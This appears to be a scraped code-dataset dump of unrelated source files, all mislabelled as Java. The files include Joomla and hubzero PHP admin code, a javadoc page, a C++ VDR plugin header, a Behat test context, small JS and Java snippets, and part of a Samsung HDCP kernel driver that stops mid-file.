use Joomla\CMS\Language\Multilanguage;
use Joomla\CMS\Language\Text;
use Joomla\CMS\MVC\View\GenericDataException;
use Joomla\CMS\MVC\View\HtmlView as BaseHtmlView;
use Joomla\CMS\Toolbar\Toolbar;
use Joomla\CMS\Toolbar\ToolbarHelper;
/**
* View class for a list of newsfeeds.
*
* @since 1.6
*/
class HtmlView extends BaseHtmlView
{
/**
* The list of newsfeeds
*
* @var \JObject
* @since 1.6
*/
protected $items;
/**
* The pagination object
*
* @var \Joomla\CMS\Pagination\Pagination
* @since 1.6
*/
protected $pagination;
/**
* The model state
*
* @var \JObject
* @since 1.6
*/
protected $state;
/**
* Execute and display a template script.
*
* @param string $tpl The name of the template file to parse; automatically searches through the template paths.
*
* @return mixed A string if successful, otherwise an Error object.
*
* @since 1.6
*/
public function display($tpl = null)
{
$this->items = $this->get('Items');
$this->pagination = $this->get('Pagination');
$this->state = $this->get('State');
$this->filterForm = $this->get('FilterForm');
$this->activeFilters = $this->get('ActiveFilters');
// Check for errors.
if (count($errors = $this->get('Errors')))
{
throw new GenericDataException(implode("\n", $errors), 500);
}
// We don't need toolbar in the modal layout.
if ($this->getLayout() !== 'modal')
{
$this->addToolbar();
// We do not need to filter by language when multilingual is disabled
if (!Multilanguage::isEnabled())
{
unset($this->activeFilters['language']);
$this->filterForm->removeField('language', 'filter');
}
}
else
{
// In article associations modal we need to remove language filter if forcing a language.
// We also need to change the category filter to show show categories with All or the forced language.
if ($forcedLanguage = Factory::getApplication()->input->get('forcedLanguage', '', 'CMD'))
{
// If the language is forced we can't allow to select the language, so transform the language selector filter into a hidden field.
$languageXml = new \SimpleXMLElement('<field name="language" type="hidden" default="' . $forcedLanguage . '" />');
$this->filterForm->setField($languageXml, 'filter', true);
// Also, unset the active language filter so the search tools is not open by default with this filter.
unset($this->activeFilters['language']);
// One last changes needed is to change the category filter to just show categories with All language or with the forced language.
$this->filterForm->setFieldAttribute('category_id', 'language', '*,' . $forcedLanguage, 'filter');
}
}
parent::display($tpl);
}
/**
* Add the page title and toolbar.
*
* @return void
*
* @since 1.6
*/
protected function addToolbar()
{
$state = $this->get('State');
$canDo = ContentHelper::getActions('com_newsfeeds', 'category', $state->get('filter.category_id'));
$user = Factory::getUser();
// Get the toolbar object instance
$toolbar = Toolbar::getInstance('toolbar');
ToolbarHelper::title(Text::_('COM_NEWSFEEDS_MANAGER_NEWSFEEDS'), 'rss newsfeeds');
if (count($user->getAuthorisedCategories('com_newsfeeds', 'core.create')) > 0)
{
$toolbar->addNew('newsfeed.add');
}
if ($canDo->get('core.edit.state') || $user->authorise('core.admin'))
{
$dropdown = $toolbar->dropdownButton('status-group')
->text('JTOOLBAR_CHANGE_STATUS')
->toggleSplit(false)
->icon('fas fa-ellipsis-h')
->buttonClass('btn btn-action')
->listCheck(true);
$childBar = $dropdown->getChildToolbar();
$childBar->publish('newsfeeds.publish')->listCheck(true);
$childBar->unpublish('newsfeeds.unpublish')->listCheck(true);
$childBar->archive('newsfeeds.archive')->listCheck(true);
if ($user->authorise('core.admin'))
{
$childBar->checkin('newsfeeds.checkin')->listCheck(true);
}
if (!$this->state->get('filter.published') == -2)
{
$childBar->trash('newsfeeds.trash')->listCheck(true);
}
// Add a batch button
if ($user->authorise('core.create', 'com_newsfeeds')
&& $user->authorise('core.edit', 'com_newsfeeds')
&& $user->authorise('core.edit.state', 'com_newsfeeds'))
{
$childBar->popupButton('batch')
->text('JTOOLBAR_BATCH')
->selector('collapseModal')
->listCheck(true);
}
if ($state->get('filter.published') == -2 && $canDo->get('core.delete'))
{
$childBar->delete('newsfeeds.delete')
->text('JTOOLBAR_EMPTY_TRASH')
->message('JGLOBAL_CONFIRM_DELETE')
->listCheck(true);
}
}
if ($user->authorise('core.admin', 'com_newsfeeds') || $user->authorise('core.options', 'com_newsfeeds'))
{
$toolbar->preferences('com_newsfeeds');
}
$toolbar->help('JHELP_COMPONENTS_NEWSFEEDS_FEEDS');
}
}
| Java |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!-- NewPage -->
<html lang="de">
<head>
<!-- Generated by javadoc (1.8.0_25) on Sat Jan 02 14:50:50 CET 2016 -->
<title>ra.woGibtEsWas Class Hierarchy</title>
<meta name="date" content="2016-01-02">
<link rel="stylesheet" type="text/css" href="../../stylesheet.css" title="Style">
<script type="text/javascript" src="../../script.js"></script>
</head>
<body>
<script type="text/javascript"><!--
try {
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="ra.woGibtEsWas Class Hierarchy";
}
}
catch(err) {
}
//-->
</script>
<noscript>
<div>JavaScript is disabled on your browser.</div>
</noscript>
<!-- ========= START OF TOP NAVBAR ======= -->
<div class="topNav"><a name="navbar.top">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.top" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.top.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li>Class</li>
<li class="navBarCell1Rev">Tree</li>
<li><a href="../../index-files/index-1.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../ra/servlets/package-tree.html">Prev</a></li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../index.html?ra/woGibtEsWas/package-tree.html" target="_top">Frames</a></li>
<li><a href="package-tree.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_top">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_top");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.top">
<!-- -->
</a></div>
<!-- ========= END OF TOP NAVBAR ========= -->
<div class="header">
<h1 class="title">Hierarchy For Package ra.woGibtEsWas</h1>
<span class="packageHierarchyLabel">Package Hierarchies:</span>
<ul class="horizontal">
<li><a href="../../overview-tree.html">All Packages</a></li>
</ul>
</div>
<div class="contentContainer">
<h2 title="Class Hierarchy">Class Hierarchy</h2>
<ul>
<li type="circle">java.lang.Object
<ul>
<li type="circle">ra.woGibtEsWas.<a href="../../ra/woGibtEsWas/Abfragen.html" title="class in ra.woGibtEsWas"><span class="typeNameLink">Abfragen</span></a></li>
</ul>
</li>
</ul>
</div>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<div class="bottomNav"><a name="navbar.bottom">
<!-- -->
</a>
<div class="skipNav"><a href="#skip.navbar.bottom" title="Skip navigation links">Skip navigation links</a></div>
<a name="navbar.bottom.firstrow">
<!-- -->
</a>
<ul class="navList" title="Navigation">
<li><a href="../../overview-summary.html">Overview</a></li>
<li><a href="package-summary.html">Package</a></li>
<li>Class</li>
<li class="navBarCell1Rev">Tree</li>
<li><a href="../../index-files/index-1.html">Index</a></li>
<li><a href="../../help-doc.html">Help</a></li>
</ul>
</div>
<div class="subNav">
<ul class="navList">
<li><a href="../../ra/servlets/package-tree.html">Prev</a></li>
<li>Next</li>
</ul>
<ul class="navList">
<li><a href="../../index.html?ra/woGibtEsWas/package-tree.html" target="_top">Frames</a></li>
<li><a href="package-tree.html" target="_top">No Frames</a></li>
</ul>
<ul class="navList" id="allclasses_navbar_bottom">
<li><a href="../../allclasses-noframe.html">All Classes</a></li>
</ul>
<div>
<script type="text/javascript"><!--
allClassesLink = document.getElementById("allclasses_navbar_bottom");
if(window==top) {
allClassesLink.style.display = "block";
}
else {
allClassesLink.style.display = "none";
}
//-->
</script>
</div>
<a name="skip.navbar.bottom">
<!-- -->
</a></div>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
</body>
</html>
| Java |
#include <cxxtools/http/request.h>
#include <cxxtools/http/reply.h>
#include <cxxtools/http/responder.h>
#include <cxxtools/arg.h>
#include <cxxtools/jsonserializer.h>
#include <cxxtools/serializationinfo.h>
#include <cxxtools/utf8codec.h>
#include <vdr/epg.h>
#include <vdr/plugin.h>
#include "tools.h"
#include "epgsearch/services.h"
#include "epgsearch.h"
#include "events.h"
#ifndef __RESTFUL_SEARCHTIMERS_H
#define __RESETFUL_SEARCHTIMERS_H
class SearchTimersResponder : public cxxtools::http::Responder
{
public:
explicit SearchTimersResponder(cxxtools::http::Service& service)
: cxxtools::http::Responder(service)
{ }
virtual void reply(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
virtual void replyShow(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
virtual void replyCreate(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
virtual void replyDelete(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
virtual void replySearch(std::ostream& out, cxxtools::http::Request& request, cxxtools::http::Reply& reply);
};
typedef cxxtools::http::CachedService<SearchTimersResponder> SearchTimersService;
class SearchTimerList : public BaseList
{
protected:
StreamExtension *s;
int total;
public:
SearchTimerList(std::ostream* _out);
~SearchTimerList();
virtual void init() { };
virtual void addSearchTimer(SerSearchTimerContainer searchTimer) { };
virtual void finish() { };
virtual void setTotal(int _total) { total = _total; };
};
class HtmlSearchTimerList : public SearchTimerList
{
public:
HtmlSearchTimerList(std::ostream* _out) : SearchTimerList(_out) { };
~HtmlSearchTimerList() { };
virtual void init();
virtual void addSearchTimer(SerSearchTimerContainer searchTimer);
virtual void finish();
};
class JsonSearchTimerList : public SearchTimerList
{
private:
std::vector< SerSearchTimerContainer > _items;
public:
JsonSearchTimerList(std::ostream* _out) : SearchTimerList(_out) { };
~JsonSearchTimerList() { };
virtual void init() { };
virtual void addSearchTimer(SerSearchTimerContainer searchTimer);
virtual void finish();
};
class XmlSearchTimerList : public SearchTimerList
{
public:
XmlSearchTimerList(std::ostream* _out) : SearchTimerList(_out) { };
~XmlSearchTimerList() { };
virtual void init();
virtual void addSearchTimer(SerSearchTimerContainer searchTimer);
virtual void finish();
};
#endif
| Java |
<?php
/**
* @package hubzero-cms
* @copyright Copyright (c) 2005-2020 The Regents of the University of California.
* @license http://opensource.org/licenses/MIT MIT
*/
namespace Components\Members\Admin;
if (!\User::authorise('core.manage', 'com_members'))
{
return \App::abort(403, \Lang::txt('JERROR_ALERTNOAUTHOR'));
}
// Include scripts
require_once dirname(__DIR__) . DS . 'models' . DS . 'member.php';
require_once dirname(__DIR__) . DS . 'helpers' . DS . 'admin.php';
$controllerName = \Request::getCmd('controller', 'members');
if (!file_exists(__DIR__ . DS . 'controllers' . DS . $controllerName . '.php'))
{
$controllerName = 'members';
}
// Build sub-menu
require_once __DIR__ . DS . 'helpers' . DS . 'members.php';
\MembersHelper::addSubmenu($controllerName);
// Instantiate controller
require_once __DIR__ . DS . 'controllers' . DS . $controllerName . '.php';
$controllerName = __NAMESPACE__ . '\\Controllers\\' . ucfirst($controllerName);
$controller = new $controllerName();
$controller->execute();
| Java |
<?php
namespace Cachan\Bbst\Context;
use Behat\Behat\Tester\Exception\PendingException;
use Cachan\Bbst\TestType\HttpTestType;
use Behat\Behat\Context\Context;
use Behat\Behat\Context\SnippetAcceptingContext;
/**
* Defines application Context from the specific context.
*/
class HttpContext implements Context, SnippetAcceptingContext
{
/** @var HttpTestType */
private $httpType;
public function __construct()
{
}
/**
* @Given I am in a web browser
*/
public function iAmInAWebBrowser()
{
$this->httpType = new HttpTestType();
$this->httpType->initialize();
}
/**
* @When I make an HTTP GET request to :arg1
*/
public function iMakeAnHttpRequestTo($arg1)
{
$this->httpType->makeRequest('GET', $arg1);
}
/**
* @Then I should be redirected to :arg1
*/
public function iShouldBeRedirectedTo($arg1)
{
if (!$this->httpType->isRedirectMatch($arg1)) {
throw new \Exception("Expected $arg1 does not match " . $this->httpType->getResponse()->getEffectiveUrl());
}
}
/**
* @Given I have an :type referer
*/
public function iHaveAnExternalReferer($type)
{
if ('internal' === $type) {
$this->httpType->setInternalReferer();
}
else if ('external' === $type) {
$this->httpType->setExternalReferer();
}
else {
throw new \Exception("Unknown referer type $type.");
}
}
/**
* @Then I should see the text :text
*/
public function iShouldSeeTheText($text)
{
if (false === $this->httpType->textExistsInResponseBody($text)) {
throw new \Exception("Expected text '$text' does not appear in the response'");
}
}
/**
* @Then I should receive response code :statusCode
*/
public function iShouldReceiveReponseCode($statusCode)
{
$actualCode = (int)$this->httpType->getStatusCode();
if ((int)$statusCode !== $actualCode) {
throw new \Exception("Expected status code $statusCode does not match $actualCode.");
}
}
/**
* @Then I should receive a file with MIME type :contentType
*/
public function iShouldReceiveAFileWithMimeType($contentType)
{
$actualType = $this->httpType->getContentType();
if ($contentType !== $actualType) {
throw new \Exception("Expected Content-Type $contentType does not match $actualType");
}
}
} | Java |
PUMP_SELECTOR.CoordSlicer = function( parameters ) {
var image = parameters.image;
var coord = parameters.coord;
var name = parameters.name;
var obj = {};
if( image === undefined) {
//PUMPER.debug("PUMPER::CoordSlicer() - Cannot slice image, image missing.");
return undefined;
}else if (coord === undefined) {
//PUMPER.debug("PUMPER::CoordSlicer() - Warn: No coordinate data given. Returning image.");
return obj[name] = obj;
}else{
var coords = coord.split("\n");
coords.clean("");
for(var i=0;i<coords.length;i++) {
var coordinate = coords[i].split(" ");
obj[coordinate[0]] = PUMP_SELECTOR.CropImage(image,coordinate[1],coordinate[2],coordinate[3],coordinate[4]);
}
return obj;
}
};
| Java |
package gof.structure.proxy;
public class ProxySubject extends Subject {
private RealSubject realSubject;
public ProxySubject(){
}
/* (non-Javadoc)
* @see gof.structure.proxy.Subject#request()
*
* Subject subject = new ProxySubject();
* subject.request();
*/
@Override
public void request() {
preRequest();
if(realSubject == null){
realSubject = new RealSubject();
}
realSubject.request();
postRequest();
}
private void preRequest(){
}
private void postRequest(){
}
}
| Java |
/* linux/drivers/media/video/samsung/tv20/s5pv210/hdcp_s5pv210.c
*
* hdcp raw ftn file for Samsung TVOut driver
*
* Copyright (c) 2010 Samsung Electronics
* http://www.samsungsemi.com/
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
*/
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/delay.h>
#include <linux/device.h>
#include <linux/wait.h>
#include <linux/interrupt.h>
#include <linux/workqueue.h>
#include <linux/delay.h>
#include <linux/i2c.h>
#include <linux/irq.h>
#include <linux/io.h>
#include <plat/gpio-cfg.h>
#include <mach/regs-gpio.h>
#include <mach/gpio.h>
#include <plat/regs-hdmi.h>
#include "../ddc.h"
#include "tv_out_s5pv210.h"
/* for Operation check */
#ifdef CONFIG_TVOUT_RAW_DBG
#define S5P_HDCP_DEBUG 1
#define S5P_HDCP_AUTH_DEBUG 1
#endif
#ifdef S5P_HDCP_DEBUG
#define HDCPPRINTK(fmt, args...) \
printk(KERN_INFO "\t\t[HDCP] %s: " fmt, __func__ , ## args)
#else
#define HDCPPRINTK(fmt, args...)
#endif
/* for authentication key check */
#ifdef S5P_HDCP_AUTH_DEBUG
#define AUTHPRINTK(fmt, args...) \
printk("\t\t\t[AUTHKEY] %s: " fmt, __func__ , ## args)
#else
#define AUTHPRINTK(fmt, args...)
#endif
enum hdmi_run_mode {
DVI_MODE = 0,
HDMI_MODE
};
enum hdmi_resolution {
SD480P = 0,
SD480I,
WWSD480P,
HD720P,
SD576P,
WWSD576P,
HD1080I
};
enum hdmi_color_bar_type {
HORIZONTAL = 0,
VERTICAL
};
enum hdcp_event {
/* Stop HDCP */
HDCP_EVENT_STOP = 0,
/* Start HDCP*/
HDCP_EVENT_START,
/* Start to read Bksv, Bcaps */
HDCP_EVENT_READ_BKSV_START,
/* Start to write Aksv, An */
HDCP_EVENT_WRITE_AKSV_START,
/* Start to check if Ri is equal to Rj */
HDCP_EVENT_CHECK_RI_START,
/* Start 2nd authentication process */
HDCP_EVENT_SECOND_AUTH_START
};
enum hdcp_state {
NOT_AUTHENTICATED = 0,
RECEIVER_READ_READY,
BCAPS_READ_DONE,
BKSV_READ_DONE,
AN_WRITE_DONE,
AKSV_WRITE_DONE,
FIRST_AUTHENTICATION_DONE,
SECOND_AUTHENTICATION_RDY,
RECEIVER_FIFOLSIT_READY,
SECOND_AUTHENTICATION_DONE,
};
/*
* Below CSC_TYPE is temporary. CSC_TYPE enum.
* may be included in SetSD480pVars_60Hz etc.
*
* LR : Limited Range (16~235)
* FR : Full Range (0~255)
*/
enum hdmi_intr_src {
WAIT_FOR_ACTIVE_RX = 0,
WDT_FOR_REPEATER,
EXCHANGE_KSV,
UPDATE_P_VAL,
UPDATE_R_VAL,
AUDIO_OVERFLOW,
AUTHEN_ACK,
UNKNOWN_INT
};
struct s5p_hdcp_info {
bool is_repeater;
bool hpd_status;
u32 time_out;
u32 hdcp_enable;
spinlock_t lock;
spinlock_t reset_lock;
struct i2c_client *client;
wait_queue_head_t waitq;
enum hdcp_event event;
enum hdcp_state auth_status;
struct work_struct work;
};
static struct s5p_hdcp_info hdcp_info = {
.is_repeater = false,
.time_out = 0,
.hdcp_enable = false,
.client = NULL,
.event = HDCP_EVENT_STOP,
.auth_status = NOT_AUTHENTICATED,
};
#define HDCP_RI_OFFSET 0x08
#define INFINITE 0xffffffff
#define HDMI_SYS_ENABLE (1 << 0)
#define HDMI_ASP_ENABLE (1 << 2)
#define HDMI_ASP_DISABLE (~HDMI_ASP_ENABLE)
#define MAX_DEVS_EXCEEDED (0x1 << 7)
#define MAX_CASCADE_EXCEEDED (0x1 << 3)
#define MAX_CASCADE_EXCEEDED_ERROR (-1)
#define MAX_DEVS_EXCEEDED_ERROR (-2)
#define REPEATER_ILLEGAL_DEVICE_ERROR (-3)
#define REPEATER_TIMEOUT_ERROR (-4)
#define AINFO_SIZE 1
#define BCAPS_SIZE 1
#define BSTATUS_SIZE 2
#define SHA_1_HASH_SIZE 20
#define KSV_FIFO_READY (0x1 << 5)
/* spmoon for test : it's not in manual */
#define SET_HDCP_KSV_WRITE_DONE (0x1 << 3)
#define CLEAR_HDCP_KSV_WRITE_DONE (~SET_HDCP_KSV_WRITE_DONE)
#define SET_HDCP_KSV_LIST_EMPTY (0x1 << 2)
#define CLEAR_HDCP_KSV_LIST_EMPTY (~SET_HDCP_KSV_LIST_EMPTY)
#define SET_HDCP_KSV_END (0x1 << 1)
#define CLEAR_HDCP_KSV_END (~SET_HDCP_KSV_END)
#define SET_HDCP_KSV_READ (0x1 << 0)
#define CLEAR_HDCP_KSV_READ (~SET_HDCP_KSV_READ)
#define SET_HDCP_SHA_VALID_READY (0x1 << 1)
#define CLEAR_HDCP_SHA_VALID_READY (~SET_HDCP_SHA_VALID_READY)
#define SET_HDCP_SHA_VALID (0x1 << 0)
#define CLEAR_HDCP_SHA_VALID (~SET_HDCP_SHA_VALID)
#define TRANSMIT_EVERY_VSYNC (0x1 << 1)
/* must be checked */
static bool g_sw_reset;
static bool g_is_dvi;
static bool g_av_mute;
static bool g_audio_en;
/*
* 1st Authentication step func.
* Write the Ainfo data to Rx
*/
static bool write_ainfo(void)
{
int ret = 0;
u8 ainfo[2];
ainfo[0] = HDCP_Ainfo;
ainfo[1] = 0;
ret = ddc_write(ainfo, 2);
if (ret < 0) {
pr_err("%s::Can't write ainfo data through i2c bus\n",
__func__);
}
return (ret < 0) ? false : true;
}
/*
* Write the An data to Rx
*/
static bool write_an(void)
{
int ret = 0;
u8 an[AN_SIZE+1];
an[0] = HDCP_An;
an[1] = readb(g_hdmi_base + S5P_HDCP_An_0_0);
an[2] = readb(g_hdmi_base + S5P_HDCP_An_0_1);
an[3] = readb(g_hdmi_base + S5P_HDCP_An_0_2);
an[4] = readb(g_hdmi_base + S5P_HDCP_An_0_3);
an[5] = readb(g_hdmi_base + S5P_HDCP_An_1_0);
an[6] = readb(g_hdmi_base + S5P_HDCP_An_1_1);
an[7] = readb(g_hdmi_base + S5P_HDCP_An_1_2);
an[8] = readb(g_hdmi_base + S5P_HDCP_An_1_3);
ret = ddc_write(an, AN_SIZE + 1);
if (ret < 0) {
pr_err("%s::Can't write an data through i2c bus\n",
__func__);
}
#ifdef S5P_HDCP_AUTH_DEBUG
{
u16 i = 0;
for (i = 1; i < AN_SIZE + 1; i++)
AUTHPRINTK("HDCPAn[%d]: 0x%x\n", i, an[i]);
}
#endif
return (ret < 0) ? false : true;
}
/*
* Write the Aksv data to Rx
*/
static bool write_aksv(void)
{
int ret = 0;
u8 aksv[AKSV_SIZE+1];
aksv[0] = HDCP_Aksv;
aksv[1] = readb(g_hdmi_base + S5P_HDCP_AKSV_0_0);
aksv[2] = readb(g_hdmi_base + S5P_HDCP_AKSV_0_1);
aksv[3] = readb(g_hdmi_base + S5P_HDCP_AKSV_0_2);
aksv[4] = readb(g_hdmi_base + S5P_HDCP_AKSV_0_3);
aksv[5] = readb(g_hdmi_base + S5P_HDCP_AKSV_1);
if (aksv[1] == 0 &&
aksv[2] == 0 &&
aksv[3] == 0 &&
aksv[4] == 0 &&
aksv[5] == 0)
return false;
ret = ddc_write(aksv, AKSV_SIZE + 1);
if (ret < 0) {
pr_err("%s::Can't write aksv data through i2c bus\n",
__func__);
}
#ifdef S5P_HDCP_AUTH_DEBUG
{
u16 i = 0;
for (i = 1; i < AKSV_SIZE + 1; i++)
AUTHPRINTK("HDCPAksv[%d]: 0x%x\n", i, aksv[i]);
}
#endif
return (ret < 0) ? false : true;
}
static bool read_bcaps(void)
{
int ret = 0;
u8 bcaps[BCAPS_SIZE] = {0};
ret = ddc_read(HDCP_Bcaps, bcaps, BCAPS_SIZE);
if (ret < 0) {
pr_err("%s::Can't read bcaps data from i2c bus\n",
__func__);
return false;
}
writel(bcaps[0], g_hdmi_base + S5P_HDCP_BCAPS);
HDCPPRINTK("BCAPS(from i2c) : 0x%08x\n", bcaps[0]);
if (bcaps[0] & REPEATER_SET)
hdcp_info.is_repeater = true;
else
hdcp_info.is_repeater = false;
HDCPPRINTK("attached device type : %s !!\n",
hdcp_info.is_repeater ? "REPEATER" : "SINK");
HDCPPRINTK("BCAPS(from sfr) = 0x%08x\n",
readl(g_hdmi_base + S5P_HDCP_BCAPS));
return true;
}
static bool read_again_bksv(void)
{
u8 bk_sv[BKSV_SIZE] = {0, 0, 0, 0, 0};
u8 i = 0;
u8 j = 0;
u32 no_one = 0;
u32 no_zero = 0;
u32 result = 0;
int ret = 0;
ret = ddc_read(HDCP_Bksv, bk_sv, BKSV_SIZE);
if (ret < 0) {
pr_err("%s::Can't read bk_sv data from i2c bus\n",
__func__);
return false;
}
#ifdef S5P_HDCP_AUTH_DEBUG
for (i = 0; i < BKSV_SIZE; i++)
AUTHPRINTK("i2c read : Bksv[%d]: 0x%x\n", i, bk_sv[i]);
#endif
for (i = 0; i < BKSV_SIZE; i++) {
for (j = 0; j < 8; j++) {
result = bk_sv[i] & (0x1 << j);
if (result == 0)
no_zero += 1;
else
no_one += 1;
}
}
if ((no_zero == 20) && (no_one == 20)) {
HDCPPRINTK("Suucess: no_zero, and no_one is 20\n");
writel(bk_sv[0], g_hdmi_base + S5P_HDCP_BKSV_0_0);
writel(bk_sv[1], g_hdmi_base + S5P_HDCP_BKSV_0_1);
writel(bk_sv[2], g_hdmi_base + S5P_HDCP_BKSV_0_2);
writel(bk_sv[3], g_hdmi_base + S5P_HDCP_BKSV_0_3);
writel(bk_sv[4], g_hdmi_base + S5P_HDCP_BKSV_1);
#ifdef S5P_HDCP_AUTH_DEBUG
for (i = 0; i < BKSV_SIZE; i++)
AUTHPRINTK("set reg : Bksv[%d]: 0x%x\n", i, bk_sv[i]);
/*
writel(HDCP_ENC_ENABLE, g_hdmi_base + S5P_ENC_EN);
*/
#endif
return true;
} else {
pr_err("%s::no_zero or no_one is NOT 20\n", __func__);
return false;
}
}
static bool read_bksv(void)
{
u8 bk_sv[BKSV_SIZE] = {0, 0, 0, 0, 0};
int i = 0;
int j = 0;
u32 no_one = 0;
u32 no_zero = 0;
u32 result = 0;
u32 count = 0;
int ret = 0;
ret = ddc_read(HDCP_Bksv, bk_sv, BKSV_SIZE);
if (ret < 0) {
pr_err("%s::Can't read bk_sv data from i2c bus\n",
__func__);
return false;
}
#ifdef S5P_HDCP_AUTH_DEBUG
for (i = 0; i < BKSV_SIZE; i++)
AUTHPRINTK("i2c read : Bksv[%d]: 0x%x\n", i, bk_sv[i]);
#endif
for (i = 0; i < BKSV_SIZE; i++) {
for (j = 0; j < 8; j++) {
result = bk_sv[i] & (0x1 << j);
if (result == 0)
no_zero++;
else
no_one++;
}
}
if ((no_zero == 20) && (no_one == 20)) {
writel(bk_sv[0], g_hdmi_base + S5P_HDCP_BKSV_0_0);
writel(bk_sv[1], g_hdmi_base + S5P_HDCP_BKSV_0_1);
writel(bk_sv[2], g_hdmi_base + S5P_HDCP_BKSV_0_2);
writel(bk_sv[3], g_hdmi_base + S5P_HDCP_BKSV_0_3);
writel(bk_sv[4], g_hdmi_base + S5P_HDCP_BKSV_1);
#ifdef S5P_HDCP_AUTH_DEBUG
for (i = 0; i < BKSV_SIZE; i++)
AUTHPRINTK("set reg : Bksv[%d]: 0x%x\n", i, bk_sv[i]);
#endif
HDCPPRINTK("Success: no_zero, and no_one is 20\n");
} else {
HDCPPRINTK("Failed: no_zero or no_one is NOT 20\n");
while (!read_again_bksv()) {
count++;
mdelay(200);
if (count == 14)
return false;
}
}
return true;
}
/*
* Compare the R value of Tx with that of Rx
*/
static bool compare_r_val(void)
{
int ret = 0;
u8 ri[2] = {0, 0};
u8 rj[2] = {0, 0};
u16 i;
for (i = 0; i < R_VAL_RETRY_CNT; i++) {
if (hdcp_info.auth_status < AKSV_WRITE_DONE) {
ret = false;
break;
}
/* Read R value from Tx */
ri[0] = readl(g_hdmi_base + S5P_HDCP_Ri_0);
ri[1] = readl(g_hdmi_base + S5P_HDCP_Ri_1);
/* Read R value from Rx */
ret = ddc_read(HDCP_Ri, rj, 2);
if (ret < 0) {
pr_err("%s::Can't read r data from i2c bus\n",
__func__);
return false;
}
#ifdef S5P_HDCP_AUTH_DEBUG
AUTHPRINTK("retries :: %d\n", i);
printk("\t\t\t Rx(ddc)\t ->");
printk("rj[0]: 0x%02x, rj[1]: 0x%02x\n", rj[0], rj[1]);
printk("\t\t\t Tx(register)\t ->");
printk("ri[0]: 0x%02x, ri[1]: 0x%02x\n", ri[0], ri[1]);
#endif
/* Compare R value */
if ((ri[0] == rj[0]) && (ri[1] == rj[1]) && (ri[0] | ri[1])) {
writel(Ri_MATCH_RESULT__YES,
g_hdmi_base + S5P_HDCP_CHECK_RESULT);
HDCPPRINTK("R0, R0' is matched!!\n");
/* for simplay test */
mdelay(1);
ret = true;
break;
} else {
writel(Ri_MATCH_RESULT__NO,
g_hdmi_base + S5P_HDCP_CHECK_RESULT);
HDCPPRINTK("R0, R0' is not matched!!\n");
ret = false;
}
ri[0] = 0;
ri[1] = 0;
rj[0] = 0;
rj[1] = 0;
}
if (!ret) {
hdcp_info.event = HDCP_EVENT_STOP;
hdcp_info.auth_status = NOT_AUTHENTICATED;
}
return ret ? true : false;
}
/*
* Enable/Disable Software HPD control
*/
static void sw_hpd_enable(bool enable)
{
u8 reg;
reg = readb(g_hdmi_base + S5P_HPD);
reg &= ~HPD_SW_ENABLE;
if (enable)
writeb(reg | HPD_SW_ENABLE, g_hdmi_base + S5P_HPD);
else
writeb(reg, g_hdmi_base + S5P_HPD);
}
/*
* Set Software HPD level
*
* @param level [in] if 0 - low;othewise, high
*/
static void set_sw_hpd(bool level)
{
u8 reg;
reg = readb(g_hdmi_base + S5P_HPD);
reg &= ~HPD_ON;
if (level)
writeb(reg | HPD_ON, g_hdmi_base + S5P_HPD);
else
writeb(reg, g_hdmi_base + S5P_HPD);
}
/*
* Reset Authentication
*/
static void reset_authentication(void)
{
u8 reg;
spin_lock_irq(&hdcp_info.reset_lock);
hdcp_info.time_out = INFINITE;
hdcp_info.event = HDCP_EVENT_STOP;
hdcp_info.auth_status = NOT_AUTHENTICATED;
/* Disable hdcp */
writeb(0x0, g_hdmi_base + S5P_HDCP_CTRL1);
writeb(0x0, g_hdmi_base + S5P_HDCP_CTRL2);
s5p_hdmi_mute_en(true);
/* Disable encryption */
HDCPPRINTK("Stop Encryption by reset!!\n");
writeb(HDCP_ENC_DIS, g_hdmi_base + S5P_ENC_EN);
HDCPPRINTK("Now reset authentication\n");
/* disable hdmi status enable reg. */
reg = readb(g_hdmi_base + S5P_STATUS_EN);
reg &= HDCP_STATUS_DIS_ALL;
writeb(reg, g_hdmi_base + S5P_STATUS_EN);
/* clear all result */
writeb(CLEAR_ALL_RESULTS, g_hdmi_base + S5P_HDCP_CHECK_RESULT);
/*
* 1. Mask HPD plug and unplug interrupt
* disable HPD INT
*/
g_sw_reset = true;
reg = s5p_hdmi_get_enabled_interrupt();
s5p_hdmi_disable_interrupts(HDMI_IRQ_HPD_PLUG);
s5p_hdmi_disable_interrupts(HDMI_IRQ_HPD_UNPLUG);
/* for simplay test */
mdelay(50);
/* 2. Enable software HPD */
sw_hpd_enable(true);
/* 3. Make software HPD logical 0 */
set_sw_hpd(false);
/* 4. Make software HPD logical 1 */
set_sw_hpd(true);
/* 5. Disable software HPD */
sw_hpd_enable(false);
/* 6. Unmask HPD plug and unplug interrupt */
if (reg & 1<<HDMI_IRQ_HPD_PLUG)
s5p_hdmi_enable_interrupts(HDMI_IRQ_HPD_PLUG);
if (reg & 1<<HDMI_IRQ_HPD_UNPLUG)
s5p_hdmi_enable_interrupts(HDMI_IRQ_HPD_UNPLUG);
g_sw_reset = false;
/* clear result */
#if 0
writel(Ri_MATCH_RESULT__NO, g_hdmi_base + S5P_HDCP_CHECK_RESULT);
